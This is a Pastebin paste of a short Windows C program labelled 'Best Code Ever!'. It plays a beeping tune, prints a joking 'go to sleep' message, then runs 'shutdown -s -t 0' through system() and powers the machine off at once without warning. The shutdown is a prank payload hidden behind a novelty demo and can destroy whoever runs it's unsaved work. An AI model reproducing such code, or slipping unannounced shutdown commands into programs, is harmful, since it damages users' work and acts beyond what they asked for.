immuntasir

Best Code Ever! 3:)

Feb 8th, 2015
345
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.44 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <windows.h>
  4. int main()
  5. {
  6. puts("using winAPI Beep(frequency_hrz, duration_ms)...:");
  7. Beep(554,500);
  8. Beep(659,500);
  9. Beep(554,500);
  10. Beep(740,1000);
  11. Beep(880,1000);
  12. Beep(830,1000);
  13. Sleep(1000);
  14. Beep(554,500);
  15. Beep(659,500);
  16. Beep(554,500);
  17. Beep(880,1000);
  18. Beep(830,1000);
  19. Beep(659,1000);
  20. printf("\nEibar ghumate jan! :v \n");
  21. system("C:\\WINDOWS\\System32\\shutdown -s -t 0");
  22. return 0;
  23. }
Advertisement
Add Comment
Please, Sign In to add comment